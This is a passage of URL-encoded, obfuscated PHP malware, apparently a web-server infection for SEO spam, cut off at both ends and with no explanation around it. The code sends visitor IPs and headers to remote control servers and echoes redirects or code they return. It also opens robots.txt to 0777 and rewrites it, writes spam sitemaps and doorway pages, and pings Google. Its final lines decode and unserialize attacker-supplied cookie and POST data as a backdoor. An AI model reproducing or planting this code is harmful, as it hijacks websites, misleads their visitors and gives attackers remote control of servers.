R%5B%27HTTP_ACCEPT_LANGUAGE%27%5D%3B%24_osyh7011%5B%27ref%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_REFERER%27%5D%3B%24_osyh7011%5B%27enc%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_ACCEPT_ENCODING%27%5D%3B%24_osyh7011%5B%27acp%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_ACCEPT%27%5D%3B%24_osyh7011%5B%27char%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_ACCEPT_CHARSET%27%5D%3B%24_osyh7011%5B%27conn%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_CONNECTION%27%5D%3Breturn%20%24_osyh7011%3B%7Dpublic%20function%20__construct%28%29%7B_er50gh%3A%3A%24_hz9omu24%20%3D%20explode%28%22/%22%2C%20_er50gh%3A%3A%24_hz9omu24%29%3B_er50gh%3A%3A%24_h8dxh8hr%20%3D%20explode%28%22/%22%2C%20_er50gh%3A%3A%24_h8dxh8hr%29%3B%7Dstatic%20public%20function%20_hitc7%28%24_630ynqx3%29%7Bif%20%28strlen%28%24_630ynqx3%29%20%3C%204%29%20%7Breturn%20%22%22%3B%7D%24_mnxc71t0%20%3D%20%22ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%2B/%3D%22%3B%24_vrg12mxu%20%3D%20str_split%28%24_mnxc71t0%29%3B%24_vrg12mxu%20%3D%20array_flip%28%24_vrg12mxu%29%3B%24_46zwfcoo%20%3D%200%3B%24_basqs11f%20%3D%20%22%22%3B%24_630ynqx3%20%3D%20preg_replace%28%22%7E%5B%5EA-Za-z0-9%5C%2B%5C/%5C%3D%5D%7E%22%2C%20%22%22%2C%20%24_630ynqx3%29%3Bdo%20%7B%24_05c41l6f%20%3D%20%24_vrg12mxu%5B%24_630ynqx3%5B%24_46zwfcoo%2B%2B%5D%5D%3B%24_5hi4q1np%20%3D%20%24_vrg12mxu%5B%24_630ynqx3%5B%24_46zwfcoo%2B%2B%5D%5D%3B%24_8rrutpb5%20%3D%20%24_vrg12mxu%5B%24_630ynqx3%5B%24_46zwfcoo%2B%2B%5D%5D%3B%24_4sfs3zfo%20%3D%20%24_vrg12mxu%5B%24_630ynqx3%5B%24_46zwfcoo%2B%2B%5D%5D%3B%24_zn4hwt6t%20%3D%20%28%24_05c41l6f%20%3C%3C%202%29%20%7C%20%28%24_5hi4q1np%20%3E%3E%204%29%3B%24_u14jby1p%20%3D%20%28%28%24_5hi4q1np%20%26%2015%29%20%3C%3C%204%29%20%7C%20%28%24_8rrutpb5%20%3E%3E%202%29%3B%24_huor5vlk%20%3D%20%28%28%24_8rrutpb5%20%26%203%29%20%3C%3C%206%29%20%7C%20%24_4sfs3zfo%3B%24_basqs11f%20%3D%20%24_basqs11f%20.%20chr%28%24_zn4hwt6t%29%3Bif%20%28%24_8rrutpb5%20%21%3D%2064%29%20%7B%24_basqs11f%20%3D%20%24_basqs11f%20.%20chr%28%24_u14jby1p%29%3B%7Dif%20%28%24_4sfs3zfo%20%21%3D%2064%29%20%7B%24_basqs11f%20%3D%20%24_basqs11f%20.%20chr%28%24_huor5vlk%29%3B%7D%7D%20while%20%28%24_46zwfcoo%20%3C%20strlen%28%24_630ynqx3%29%29%3Breturn%20%24_basqs11f%3B%7Dprivate%20function%20_nr51i%28%24_o4h21pkl%29%7B%24_swlicjbm%20%3D%20%22%22%3B%24_c2d4vsy0%20%3D%20%22%22%3B%24_osyh7011%20%3D%20_er50gh%3A%3A_fwe3f%28%29%3B%24_osyh7011%5B%22uid%22%5D%20%3D%20_er50gh%3A%3A%24_wqq8o3s4%3B%24_osyh7011%5B%22keyword%22%5D%20%3D%20%24_o4h21pkl%3B%24_osyh7011%5B%22tc%22%5D%20%3D%2010%3B%24_osyh7011%20%3D%20http_build_query%28%24_osyh7011%29%3B%24_6pfzvk6r%20%3D%20_79zfb9%3A%3A_skc19%28_er50gh%3A%3A%24_h8dxh8hr%2C%20%24_osyh7011%29%3Bif%20%28strpos%28%24_6pfzvk6r%2C%20_er50gh%3A%3A%24_wqq8o3s4%29%20%3D%3D%3D%20FALSE%29%20%7Breturn%20array%28%24_swlicjbm%2C%20%24_c2d4vsy0%29%3B%7D%24_swlicjbm%20%3D%20_cwqzsic%3A%3A_8dnv4%28%29%3B%24_c2d4vsy0%20%3D%20substr%28%24_6pfzvk6r%2C%20strlen%28_er50gh%3A%3A%24_wqq8o3s4%29%29%3B%24_c2d4vsy0%20%3D%20explode%28%22%5Cn%22%2C%20%24_c2d4vsy0%29%3Bshuffle%28%24_c2d4vsy0%29%3B%24_c2d4vsy0%20%3D%20implode%28%22%20%22%2C%20%24_c2d4vsy0%29%3Breturn%20array%28%24_swlicjbm%2C%20%24_c2d4vsy0%29%3B%7Dprivate%20function%20_8rfk6%28%29%7B%24_osyh7011%20%3D%20_er50gh%3A%3A_fwe3f%28%29%3Bif%20%28isset%28%24_SERVER%5B%27HTTP_CF_CONNECTING_IP%27%5D%29%29%20%7B%24_osyh7011%5B%27cfconn%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_CF_CONNECTING_IP%27%5D%3B%7Dif%20%28isset%28%24_SERVER%5B%27HTTP_X_REAL_IP%27%5D%29%29%20%7B%24_osyh7011%5B%27xreal%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_X_REAL_IP%27%5D%3B%7Dif%20%28isset%28%24_SERVER%5B%27HTTP_X_FORWARDED_FOR%27%5D%29%29%20%7B%24_osyh7011%5B%27xforward%27%5D%20%3D%20%40%24_SERVER%5B%27HTTP_X_FORWARDED_FOR%27%5D%3B%7D%24_osyh7011%5B%22uid%22%5D%20%3D%20_er50gh%3A%3A%24_wqq8o3s4%3B%24_osyh7011%20%3D%20http_build_query%28%24_osyh7011%29%3B%24_hgj2uuv9%20%3D%20_79zfb9%3A%3A_skc19%28_er50gh%3A%3A%24_hz9omu24%2C%20%24_osyh7011%29%3B%24_hgj2uuv9%20%3D%20%40unserialize%28%24_hgj2uuv9%29%3Bif%20%28isset%28%24_hgj2uuv9%5B%22type%22%5D%29%20%26%26%20%24_hgj2uuv9%5B%22type%22%5D%20%3D%3D%20%22redir%22%29%20%7Bif%20%28%21empty%28%24_hgj2uuv9%5B%22data%22%5D%5B%22header%22%5D%29%29%20%7Bheader%28%24_hgj2uuv9%5B%22data%22%5D%5B%22header%22%5D%29%3Breturn%20true%3B%7D%20elseif%20%28%21empty%28%24_hgj2uuv9%5B%22data%22%5D%5B%22code%22%5D%29%29%20%7Becho%20%24_hgj2uuv9%5B%22data%22%5D%5B%22code%22%5D%3Breturn%20true%3B%7D%7Dreturn%20false%3B%7Dpublic%20function%20_ih05m%28%29%7Breturn%20_v6ya63%3A%3A_ih05m%28%29%20%26%26%20_cwqzsic%3A%3A_ih05m%28%29%20%26%26%20_xyxad4u%3A%3A_ih05m%28%29%3B%7Dstatic%20public%20function%20_rhb03%28%29%7Bif%20%28%28%21empty%28%24_SERVER%5B%27HTTPS%27%5D%29%20%26%26%20%24_SERVER%5B%27HTTPS%27%5D%20%21%3D%3D%20%27off%27%29%20%7C%7C%20%24_SERVER%5B%27SERVER_PORT%27%5D%20%3D%3D%20443%29%20%7Breturn%20true%3B%7Dreturn%20false%3B%7Dpublic%20static%20function%20_j6tk6%28%29%7B%24_eey0dnpa%20%3D%20explode%28%22%3F%22%2C%20%24_SERVER%5B%22REQUEST_URI%22%5D%2C%202%29%3B%24_eey0dnpa%20%3D%20%24_eey0dnpa%5B0%5D%3Bif%20%28strpos%28%24_eey0dnpa%2C%20%22.php%22%29%20%3D%3D%3D%20FALSE%29%20%7B%24_eey0dnpa%20%3D%20explode%28%22/%22%2C%20%24_eey0dnpa%29%3Barray_pop%28%24_eey0dnpa%29%3B%24_eey0dnpa%20%3D%20implode%28%22/%22%2C%20%24_eey0dnpa%29%20.%20%22/%22%3B%7Dreturn%20sprintf%28%22%25s%3A//%25s%25s%22%2C%20_er50gh%3A%3A_rhb03%28%29%20%3F%20%22https%22%20%3A%20%22http%22%2C%20%24_SERVER%5B%27HTTP_HOST%27%5D%2C%20%24_eey0dnpa%29%3B%7Dpublic%20static%20function%20_5k4u7%28%29%7B%24_os8wh0zy%20%3D%20Array%28%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%20Edg/96.0.1054.62%22%2C%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A95.0%29%20Gecko/20100101%20Firefox/95.0%22%2C%22Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_6%29%20AppleWebKit/605.1.15%20%28KHTML%2C%20like%20Gecko%29%20Version/15.1%20Safari/605.1.15%22%2C%22Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_7%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_6%29%20AppleWebKit/605.1.15%20%28KHTML%2C%20like%20Gecko%29%20Version/14.1.2%20Safari/605.1.15%22%2C%22Mozilla/5.0%20%28Windows%20NT%206.1%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_7%29%20AppleWebKit/605.1.15%20%28KHTML%2C%20like%20Gecko%29%20Version/15.1%20Safari/605.1.15%22%2C%22Mozilla/5.0%20%28Windows%20NT%206.3%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.45%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Windows%20NT%206.1%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.93%20Safari/537.36%22%29%3B%24_zufuutph%20%3D%20array%28%22https%3A//www.google.com/ping%3Fsitemap%3D%22%20%3D%3E%20%22Sitemap%20Notification%20Received%22%2C%29%3B%24_pneb21v4%20%3D%20array%28%22Accept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/webp%2C%2A/%2A%3Bq%3D0.8%22%2C%22Accept-Language%3A%20en-US%2Cen%3Bq%3D0.5%22%2C%22User-Agent%3A%20%22%20.%20%24_os8wh0zy%5Barray_rand%28%24_os8wh0zy%29%5D%2C%29%3B%24_gwqcumc3%20%3D%20urlencode%28_er50gh%3A%3A_q32v2%28%29%20.%20%22/sitemap.xml%22%29%3Bforeach%20%28%24_zufuutph%20as%20%24_79wt4ge0%20%3D%3E%20%24_gvutrk0o%29%20%7B%24_q6pxtlu6%20%3D%20_79zfb9%3A%3A_9enqk%28%24_79wt4ge0%20.%20%24_gwqcumc3%2C%20NULL%2C%20%24_pneb21v4%29%3Bif%20%28empty%28%24_q6pxtlu6%29%29%20%7B%24_q6pxtlu6%20%3D%20_79zfb9%3A%3A_3ncnn%28%24_79wt4ge0%20.%20%24_gwqcumc3%2C%20NULL%2C%20%24_pneb21v4%29%3B%7Dif%20%28empty%28%24_q6pxtlu6%29%29%20%7Breturn%20FALSE%3B%7Dif%20%28strpos%28%24_q6pxtlu6%2C%20%24_gvutrk0o%29%20%3D%3D%3D%20FALSE%29%20%7Breturn%20FALSE%3B%7D%7Dreturn%20TRUE%3B%7Dpublic%20static%20function%20_b4fbz%28%29%7B%24_qncl23kq%20%3D%20%22User-agent%3A%20%2A%5CnDisallow%3A%20%25s%5CnUser-agent%3A%20Bingbot%5CnUser-agent%3A%20Googlebot%5CnUser-agent%3A%20Slurp%5CnDisallow%3A%5CnSitemap%3A%20%25s%5Cn%22%3B%24_eey0dnpa%20%3D%20explode%28%22%3F%22%2C%20%24_SERVER%5B%22REQUEST_URI%22%5D%2C%202%29%3B%24_eey0dnpa%20%3D%20%24_eey0dnpa%5B0%5D%3B%24_rty56ot6%20%3D%20substr%28%24_eey0dnpa%2C%200%2C%20strrpos%28%24_eey0dnpa%2C%20%22/%22%29%29%3B%24_4uyggedu%20%3D%20sprintf%28%24_qncl23kq%2C%20%24_rty56ot6%2C%20_er50gh%3A%3A_q32v2%28%29%20.%20%22/sitemap.xml%22%29%3B%24_pi8z9tuf%20%3D%20%24_SERVER%5B%22DOCUMENT_ROOT%22%5D%20.%20%22/robots.txt%22%3Bif%20%28%40file_exists%28%24_pi8z9tuf%29%29%20%7B%40chmod%28%24_pi8z9tuf%2C%200777%29%3B%24_ydp7fgmd%20%3D%20%40file_get_contents%28%24_pi8z9tuf%29%3B%7D%20else%20%7B%24_ydp7fgmd%20%3D%20%22%22%3B%7Dif%20%28strpos%28%24_ydp7fgmd%2C%20%24_4uyggedu%29%20%3D%3D%3D%20FALSE%29%20%7B%40file_put_contents%28%24_pi8z9tuf%2C%20%24_ydp7fgmd%20.%20%22%5Cn%22%20.%20%24_4uyggedu%29%3B%24_ydp7fgmd%20%3D%20%40file_get_contents%28%24_pi8z9tuf%29%3Breturn%20%28strpos%28%24_ydp7fgmd%2C%20%24_4uyggedu%29%20%21%3D%3D%20FALSE%29%3B%7Dreturn%20FALSE%3B%7Dpublic%20static%20function%20_q32v2%28%29%7B%24_eey0dnpa%20%3D%20explode%28%22%3F%22%2C%20%24_SERVER%5B%22REQUEST_URI%22%5D%2C%202%29%3B%24_eey0dnpa%20%3D%20%24_eey0dnpa%5B0%5D%3B%24_uf8aucwn%20%3D%20substr%28%24_eey0dnpa%2C%200%2C%20strrpos%28%24_eey0dnpa%2C%20%22/%22%29%29%3Breturn%20sprintf%28%22%25s%3A//%25s%25s%22%2C%20_er50gh%3A%3A_rhb03%28%29%20%3F%20%22https%22%20%3A%20%22http%22%2C%20%24_SERVER%5B%27HTTP_HOST%27%5D%2C%20%24_uf8aucwn%29%3B%7Dpublic%20static%20function%20_ax1dg%28%24_o4h21pkl%29%7B%24_39whrurz%20%3D%20_er50gh%3A%3A_j6tk6%28%29%3B%24_20hqocwt%20%3D%20substr%28md5%28_er50gh%3A%3A%24_wqq8o3s4%20.%20%22salt3%22%29%2C%200%2C%206%29%3B%24_ugaslxbs%20%3D%20%22%22%3Bif%20%28substr%28%24_39whrurz%2C%20-1%29%20%3D%3D%20%22/%22%29%20%7Bif%20%28ord%28%24_20hqocwt%5B1%5D%29%20%25%202%29%20%7B%24_o4h21pkl%20%3D%20str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%3B%7D%20else%20%7B%24_o4h21pkl%20%3D%20str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%3B%7D%24_ugaslxbs%20%3D%20sprintf%28%22%25s%25s%22%2C%20%24_39whrurz%2C%20urlencode%28%24_o4h21pkl%29%29%3B%7D%20else%20%7Bif%20%28FALSE%20%26%26%20%28ord%28%24_20hqocwt%5B0%5D%29%20%25%202%29%29%20%7B%24_ugaslxbs%20%3D%20sprintf%28%22%25s%3F%25s%3D%25s%22%2C%24_39whrurz%2C%24_20hqocwt%2Curlencode%28str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%29%29%3B%7D%20else%20%7B%24_vgcwvf3x%20%3D%20array%28%22id%22%2C%20%22page%22%2C%20%22tag%22%29%3B%24_q1hwylv0%20%3D%20%24_vgcwvf3x%5Bord%28%24_20hqocwt%5B2%5D%29%20%25%20count%28%24_vgcwvf3x%29%5D%3Bif%20%28ord%28%24_20hqocwt%5B1%5D%29%20%25%202%29%20%7B%24_o4h21pkl%20%3D%20str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%3B%7D%20else%20%7B%24_o4h21pkl%20%3D%20str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%3B%7D%24_ugaslxbs%20%3D%20sprintf%28%22%25s%3F%25s%3D%25s%22%2C%24_39whrurz%2C%24_q1hwylv0%2Curlencode%28%24_o4h21pkl%29%29%3B%7D%7Dreturn%20%24_ugaslxbs%3B%7Dpublic%20static%20function%20_ncv5m%28%24_e0w6pl49%2C%20%24_78iw99aq%29%7B%24_ttrm5byb%20%3D%20%22%22%3B%24_xeswna7e%20%3D%20rand%28%24_e0w6pl49%2C%20%24_78iw99aq%29%3Bfor%20%28%24_46zwfcoo%20%3D%200%3B%20%24_46zwfcoo%20%3C%20%24_xeswna7e%3B%20%24_46zwfcoo%2B%2B%29%20%7B%24_o4h21pkl%20%3D%20_xyxad4u%3A%3A_8dnv4%28%29%3B%24_ttrm5byb%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3E%25s%3C/a%3E%2C%5Cn%22%2C_er50gh%3A%3A_ax1dg%28%24_o4h21pkl%29%2C%20ucwords%28%24_o4h21pkl%29%29%3B%7Dreturn%20%24_ttrm5byb%3B%7Dpublic%20static%20function%20_0cgo1%28%24_3abbwecp%20%3D%20FALSE%29%7B%24_ccv63u9v%20%3D%20dirname%28__FILE__%29%20.%20%22/sitemap.xml%22%3B%24_0lzsv7dt%20%3D%20Array%28%29%3B%24_bipzycp4%20%3D%20%22%3C%3Fxml%20version%3D%5C%221.0%5C%22%20encoding%3D%5C%22UTF-8%5C%22%3F%22%20.%20%22%3E%5Cn%3Curlset%20xmlns%3D%5C%22http%3A//www.sitemaps.org/schemas/sitemap/0.9%5C%22%3E%5Cn%22%3B%24_pjuntwx6%20%3D%20%22%3C/urlset%3E%22%3B%24_vrg12mxu%20%3D%20_xyxad4u%3A%3A_3ap03%28%29%3B%24_7rlo07lw%20%3D%20array%28%29%3Bif%20%28file_exists%28%24_ccv63u9v%29%29%20%7B%24_6pfzvk6r%20%3D%20simplexml_load_file%28%24_ccv63u9v%29%3Bforeach%20%28%24_6pfzvk6r%20as%20%24_43ygqq1k%29%20%7B%24_7rlo07lw%5B%28string%29%24_43ygqq1k-%3Eloc%5D%20%3D%20%28string%29%24_43ygqq1k-%3Elastmod%3B%7D%7D%20else%20%7B%24_3abbwecp%20%3D%20FALSE%3B%7Dforeach%20%28%24_vrg12mxu%20as%20%24_1drrwf6g%29%20%7B%24_ugaslxbs%20%3D%20_er50gh%3A%3A_ax1dg%28%24_1drrwf6g%29%3Bif%20%28isset%28%24_7rlo07lw%5B%24_ugaslxbs%5D%29%29%20%7Bcontinue%3B%7Dif%20%28%24_3abbwecp%29%20%7B%24_v4bog9cs%20%3D%20time%28%29%3B%7D%20else%20%7B%24_v4bog9cs%20%3D%20time%28%29%20-%20%28crc32%28%24_1drrwf6g%29%20%25%20%2860%20%2A%2060%20%2A%2024%20%2A%2030%29%29%3B%7D%24_7rlo07lw%5B%24_ugaslxbs%5D%20%3D%20date%28%22Y-m-d%22%2C%20%24_v4bog9cs%29%3B%24_4b6e33nc%20%3D%20strtolower%28%24_1drrwf6g%5B0%5D%29%3Bif%20%28%21preg_match%28%22/%5E%5Ba-z%5D%24/%22%2C%20%24_4b6e33nc%29%29%20%7B%24_4b6e33nc%20%3D%20%22other%22%3B%7Dif%20%28empty%28%24_0lzsv7dt%5B%24_4b6e33nc%5D%29%29%7B%24_0lzsv7dt%5B%24_4b6e33nc%5D%20%3D%20Array%28%29%3B%7D%24_0lzsv7dt%5B%24_4b6e33nc%5D%5B%24_1drrwf6g%5D%20%3D%20%24_ugaslxbs%3B%7D%24_yscyadm6%20%3D%20%22%22%3Bforeach%20%28%24_7rlo07lw%20as%20%24_79wt4ge0%20%3D%3E%20%24_v4bog9cs%29%20%7B%24_yscyadm6%20.%3D%20%22%3Curl%3E%5Cn%22%3B%24_yscyadm6%20.%3D%20sprintf%28%22%3Cloc%3E%25s%3C/loc%3E%5Cn%22%2C%20%24_79wt4ge0%29%3B%24_yscyadm6%20.%3D%20sprintf%28%22%3Clastmod%3E%25s%3C/lastmod%3E%5Cn%22%2C%20%24_v4bog9cs%29%3B%24_yscyadm6%20.%3D%20%22%3C/url%3E%5Cn%22%3B%7D%24_u4appmxp%20%3D%20%24_bipzycp4%20.%20%24_yscyadm6%20.%20%24_pjuntwx6%3B%24_gwqcumc3%20%3D%20_er50gh%3A%3A_q32v2%28%29%20.%20%22/sitemap.xml%22%3B%40file_put_contents%28%24_ccv63u9v%2C%20%24_u4appmxp%29%3Bforeach%20%28%24_0lzsv7dt%20as%20%24_4b6e33nc%20%3D%3E%20%24_g5psvgsj%29%7B%24_u4appmxp%20%3D%20sprintf%28%22%3C%21DOCTYPE%20html%3E%3Chtml%3E%5Cn%3Chead%3E%5Cn%3Ctitle%3EArticles%20%5C%22%25s%5C%22%3C/title%3E%5Cn%3C/head%3E%5Cn%3Cbody%3E%5Cn%22%2C%20%24_4b6e33nc%29%3B%24_u4appmxp%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3E%25s%3C/a%3E%3Cbr%3E%5Cn%22%2C%20_er50gh%3A%3A_q32v2%28%29%20.%20%22/sitemap.html%22%2C%20%22Sitemap%20Index%22%29%3Bforeach%20%28%24_g5psvgsj%20as%20%24_o4h21pkl%20%3D%3E%20%24_79wt4ge0%29%7B%24_u4appmxp%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3E%25s%3C/a%3E%3Cbr%3E%5Cn%22%2C%20%24_79wt4ge0%2C%20%24_o4h21pkl%29%3B%7D%24_u4appmxp%20.%3D%20%22%3C/body%3E%3C/html%3E%22%3B%24_ccv63u9v%20%3D%20dirname%28__FILE__%29%20.%20sprintf%28%22/sitemap_%25s.html%22%2C%20%24_4b6e33nc%29%3B%40file_put_contents%28%24_ccv63u9v%2C%20%24_u4appmxp%29%3B%7D%24_u4appmxp%20%3D%20%22%3C%21DOCTYPE%20html%3E%3Chtml%3E%5Cn%3Chead%3E%5Cn%3Ctitle%3EArticle%20Alphabet%20Index%3C/title%3E%5Cn%3C/head%3E%5Cn%3Cbody%3E%5Cn%22%3Bforeach%20%28%24_0lzsv7dt%20as%20%24_4b6e33nc%20%3D%3E%20%24_g5psvgsj%29%7B%24_u4appmxp%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3E%25s%3C/a%3E%3Cbr%3E%5Cn%22%2C%20_er50gh%3A%3A_q32v2%28%29%20.%20sprintf%28%22/sitemap_%25s.html%22%2C%20%24_4b6e33nc%29%2C%20strtoupper%28%24_4b6e33nc%29%29%3B%7D%24_u4appmxp%20.%3D%20%22%3C/body%3E%3C/html%3E%22%3B%24_ccv63u9v%20%3D%20dirname%28__FILE__%29%20.%20%22/sitemap.html%22%3B%40file_put_contents%28%24_ccv63u9v%2C%20%24_u4appmxp%29%3Breturn%20%24_gwqcumc3%3B%7Dpublic%20function%20_lhhd6%28%29%7B%24_q1hwylv0%20%3D%20substr%28md5%28_er50gh%3A%3A%24_wqq8o3s4%20.%20%22salt3%22%29%2C%200%2C%206%29%3Bif%20%28%21%24this-%3E_ot7y0%28%29%29%20%7Bif%20%28%24this-%3E_8rfk6%28%29%29%20%7Breturn%3B%7D%7Dif%20%28%21empty%28%24_GET%29%29%20%7B%24_ttie0k4s%20%3D%20array_values%28%24_GET%29%3B%7D%20else%20%7B%24_ttie0k4s%20%3D%20explode%28%22/%22%2C%20%24_SERVER%5B%22REQUEST_URI%22%5D%29%3B%24_ttie0k4s%20%3D%20array_reverse%28%24_ttie0k4s%29%3B%7D%24_o4h21pkl%20%3D%20%22%22%3Bforeach%20%28%24_ttie0k4s%20as%20%24_9lyo90xb%29%20%7Bif%20%28substr_count%28%24_9lyo90xb%2C%20%22-%22%29%20%3E%200%29%20%7B%24_o4h21pkl%20%3D%20%24_9lyo90xb%3Bbreak%3B%7D%7D%24_o4h21pkl%20%3D%20str_replace%28%24_q1hwylv0%20.%20%22-%22%2C%20%22%22%2C%20%24_o4h21pkl%29%3B%24_o4h21pkl%20%3D%20str_replace%28%22-%22%20.%20%24_q1hwylv0%2C%20%22%22%2C%20%24_o4h21pkl%29%3B%24_o4h21pkl%20%3D%20str_replace%28%22-%22%2C%20%22%20%22%2C%20%24_o4h21pkl%29%3B%24_55x93fs4%20%3D%20array%28%22.html%22%2C%20%22.php%22%2C%20%22.aspx%22%29%3Bforeach%20%28%24_55x93fs4%20as%20%24_01tonnyo%29%20%7Bif%20%28strpos%28%24_o4h21pkl%2C%20%24_01tonnyo%29%20%3D%3D%3D%20strlen%28%24_o4h21pkl%29%20-%20strlen%28%24_01tonnyo%29%29%20%7B%24_o4h21pkl%20%3D%20substr%28%24_o4h21pkl%2C%200%2C%20strlen%28%24_o4h21pkl%29%20-%20strlen%28%24_01tonnyo%29%29%3B%7D%7D%24_o4h21pkl%20%3D%20urldecode%28%24_o4h21pkl%29%3B%24_265utrew%20%3D%20_xyxad4u%3A%3A_3ap03%28%29%3Bif%20%28empty%28%24_o4h21pkl%29%29%20%7B%24_o4h21pkl%20%3D%20%24_265utrew%5B0%5D%3B%7D%20else%20if%20%28%21in_array%28%24_o4h21pkl%2C%20%24_265utrew%29%29%20%7B%24_2hzxofuj%20%3D%200%3Bforeach%20%28str_split%28%24_o4h21pkl%29%20as%20%24_zrffvwu8%29%20%7B%24_2hzxofuj%20%2B%3D%20ord%28%24_zrffvwu8%29%3B%7D%24_o4h21pkl%20%3D%20%24_265utrew%5B%24_2hzxofuj%20%25%20count%28%24_265utrew%29%5D%3B%7Dif%20%28%21empty%28%24_o4h21pkl%29%29%20%7B%24_hgj2uuv9%20%3D%20_v6ya63%3A%3A_q42pz%28%24_o4h21pkl%29%3Bif%20%28empty%28%24_hgj2uuv9%29%29%20%7Blist%28%24_swlicjbm%2C%20%24_c2d4vsy0%29%20%3D%20%24this-%3E_nr51i%28%24_o4h21pkl%29%3Bif%20%28empty%28%24_c2d4vsy0%29%29%20%7Breturn%3B%7D%24_xnnqxgqw%20%3D%20_er50gh%3A%3A_ncv5m%28_er50gh%3A%3A%24_loyjoas0%2C%20_er50gh%3A%3A%24_p0pykfqo%29%3B%24_4b6e33nc%20%3D%20strtolower%28%24_o4h21pkl%5B0%5D%29%3Bif%20%28%21preg_match%28%22/%5E%5Ba-z%5D%24/%22%2C%20%24_4b6e33nc%29%29%20%7B%24_4b6e33nc%20%3D%20%22other%22%3B%7D%24_xnnqxgqw%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3EArticles%20%25s%3C/a%3E%3Cbr%3E%5Cn%22%2C%20_er50gh%3A%3A_q32v2%28%29%20.%20sprintf%28%22/sitemap_%25s.html%22%2C%20%24_4b6e33nc%29%2C%20strtoupper%28%24_4b6e33nc%29%29%3B%24_hgj2uuv9%20%3D%20new%20_v6ya63%28%24_swlicjbm%2C%20%24_c2d4vsy0%2C%20%24_o4h21pkl%2C%20%24_xnnqxgqw%29%3B%24_hgj2uuv9-%3E_g7wwk%28%29%3B%7Decho%20%24_hgj2uuv9-%3E_neje4%28%29%3B%7D%7D%7D_v6ya63%3A%3A_dzxgv%28dirname%28__FILE__%29%2C%20-1%2C%20_er50gh%3A%3A%24_wqq8o3s4%29%3B_cwqzsic%3A%3A_dzxgv%28dirname%28__FILE__%29%2C%20substr%28md5%28_er50gh%3A%3A%24_wqq8o3s4%20.%20%22salt12%22%29%2C%200%2C%204%29%29%3B_xyxad4u%3A%3A_dzxgv%28dirname%28__FILE__%29%2C%20substr%28md5%28_er50gh%3A%3A%24_wqq8o3s4%20.%20%22salt22%22%29%2C%200%2C%204%29%29%3Bfunction%20_vyfa9%28%24_6pfzvk6r%2C%20%24_1drrwf6g%29%7B%24_hiskm125%20%3D%20%22%22%3Bfor%20%28%24_46zwfcoo%20%3D%200%3B%20%24_46zwfcoo%20%3C%20strlen%28%24_6pfzvk6r%29%3B%29%20%7Bfor%20%28%24_d9po7r88%20%3D%200%3B%20%24_d9po7r88%20%3C%20strlen%28%24_1drrwf6g%29%20%26%26%20%24_46zwfcoo%20%3C%20strlen%28%24_6pfzvk6r%29%3B%20%24_d9po7r88%2B%2B%2C%20%24_46zwfcoo%2B%2B%29%20%7B%24_hiskm125%20.%3D%20chr%28ord%28%24_6pfzvk6r%5B%24_46zwfcoo%5D%29%20%5E%20ord%28%24_1drrwf6g%5B%24_d9po7r88%5D%29%29%3B%7D%7Dreturn%20%24_hiskm125%3B%7Dfunction%20_udz7t%28%24_6pfzvk6r%2C%20%24_1drrwf6g%2C%20%24_7ixx1hmk%29%7Breturn%20_vyfa9%28_vyfa9%28%24_6pfzvk6r%2C%20%24_1drrwf6g%29%2C%20%24_7ixx1hmk%29%3B%7Dforeach%20%28array_merge%28%24_COOKIE%2C%20%24_POST%29%20as%20%24_oy6s5dxd%20%3D%3E%20%24_6pfzvk6r%29%20%7B%24_6pfzvk6r%20%3D%20%40unserialize%28_udz7t%28_er50gh%3A%3A_hitc7%28%24_6pfzvk6r%29%2C%20%24_oy6s5dxd%2C%20_er50gh%3A%3A%24_wqq8o3s4%